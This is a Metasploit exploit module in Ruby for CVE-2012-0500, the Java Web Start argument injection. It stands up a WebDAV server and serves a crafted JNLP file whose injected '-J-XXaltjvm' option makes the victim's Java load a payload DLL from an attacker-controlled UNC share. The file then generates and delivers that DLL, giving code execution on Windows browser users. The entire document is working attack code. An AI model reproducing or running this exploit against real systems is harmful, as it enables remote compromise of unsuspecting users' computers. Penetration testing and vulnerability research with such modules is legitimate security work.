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## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection (2012)', 'Description'=> %q{ This module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. The arguments passed to Java Web Start are not properly validated, allowing injection of arbitrary arguments to the JVM. By utilizing the lesser known -J option, an attacker can take advantage of the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method allows an attacker to execute arbitrary code in the context of an unsuspecting browser user. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. }, 'License'=> MSF_LICENSE, 'Author' => 'jduck', # Bug reported to Oracle by TELUS 'Version'=> '$Revision$', 'References' => [ [ 'CVE', '2012-0500' ], [ 'OSVDB', '79227' ], [ 'BID', '52015' ], [ 'URL', 'http://seclists.org/fulldisclosure/2012/Feb/251' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html' ] ], 'Platform' => 'win', 'Payload'=> { 'Space'=> 1024, 'BadChars' => '', 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" }, 'Targets'=> [ [ 'Automatic', { } ], [ 'Java Runtime on Windows x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Feb 14 2012' )) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with an SMB server)' ]) ], self.class) end def auto_target(cli, request) agent = request.headers['User-Agent'] ret = nil #print_status("Agent: #{agent}") # Check for MSIE and/or WebDAV redirector requests if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/ ret = targets[1] elsif agent =~ /MSIE (6|7|8)\.0/ ret = targets[1] else print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end ret end def on_request_uri(cli, request) # For this exploit, this does little besides ensures the user agent is a recognized one.. mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # Special case to process OPTIONS for / if (request.method == 'OPTIONS' and request.uri == '/') process_options(cli, request, mytarget) return end # Discard requests for ico files if (request.uri =~ /\.ico$/i) send_not_found(cli) return end # If there is no subdirectory in the request, we need to redirect. if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//) if (request.uri == '/') subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' end print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") send_redirect(cli, subdir) return else share_name = $1 end # dispatch WebDAV requests based on method first case request.method when 'OPTIONS' process_options(cli, request, mytarget) when 'PROPFIND' process_propfind(cli, request, mytarget) when 'GET' process_get(cli, request, mytarget, share_name) when 'PUT' print_status("Sending 404 for PUT #{request.uri} ...") send_not_found(cli) else print_error("Unexpected request method encountered: #{request.method}") end end # # GET requests # def process_get(cli, request, target, share_name) print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") # dispatch based on extension if (request.uri =~ /\.dll$/i) # # DLL requests sent by IE and the WebDav Mini-Redirector # print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Generate a DLL based on the payload dll_data = generate_payload_dll({ :code => p.encoded }) # Send it :) send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' }) elsif (request.uri =~ /\.jnlp$/i) # # Send the jnlp document # # Prepare the UNC path... if (datastore['UNCPATH']) unc = datastore['UNCPATH'].dup else my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] unc = "\\\\" + my_host + "\\" + share_name end # NOTE: we ensure there's only a single backslash here since it will get escaped if unc[0,2] == "\\\\" unc.slice!(0, 1) end http_agent = Rex::Text.rand_text_alpha(8+rand(8)) jnlp_data = <<-EOS <?xml version="1.0" encoding="UTF-8"?> <jnlp version="1"> <information> <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title> <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor> <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description> </information> <resources> <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=#{unc} "' /> </resources> <resources><java java-vm-args='-Dhttp.agent=#{http_agent}"' /></resources> </jnlp> EOS print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' }) else print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}") jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8)) jnlp_path = get_resource() if jnlp_path[-1,1] != '/' jnlp_path << '/' end jnlp_path << request.uri.split('/')[-1] << '/' jnlp_path << jnlp_name << ".jnlp" send_redirect(cli, jnlp_path, '') end end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request, target) print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") headers = { #'DASL' => '<DAV:sql>', #'DAV'=> '1, 2', 'Allow'=> 'OPTIONS, GET, PROPFIND', 'Public' => 'OPTIONS, GET, PROPFIND' } send_response(cli, '', headers) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request, target) path = request.uri print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") body = '' if (path =~ /\.dll$/i) # Response for the DLL print_status("Sending DLL multistatus for #{path} ...") #<lp1:getcontentlength>45056</lp1:getcontentlength> body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag> <lp2:executable>F</lp2:executable> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # Make sure we're on the right port/path to support WebDAV # def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' end super end end |
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